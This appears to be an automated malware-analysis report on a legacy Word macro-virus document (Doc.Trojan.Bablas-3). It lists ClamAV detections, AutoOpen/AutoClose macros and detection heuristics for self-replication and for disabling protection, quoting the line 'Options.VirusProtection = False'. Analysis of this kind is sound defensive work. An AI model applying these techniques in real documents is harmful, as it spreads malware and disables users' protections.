MITRE ATT&CK
T1059.005 Visual Basic

The file exhibits characteristics of legacy macro viruses, with multiple heuristic firings indicating the presence of WordBasic and VBA macros, including AutoOpen and AutoClose functions. ClamAV detections further confirm its malicious nature, identifying it as Legacy.Trojan.Agent-34741 and Doc.Trojan.Bablas-3. The VBA script, while partially truncated, contains messages and references to 'blue color' and includes a 'Bablas' subroutine, hinting at its payload or origin.

Heuristics 6

  • ClamAV: Legacy.Trojan.Agent-34741 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Legacy.Trojan.Agent-34741
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script

  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
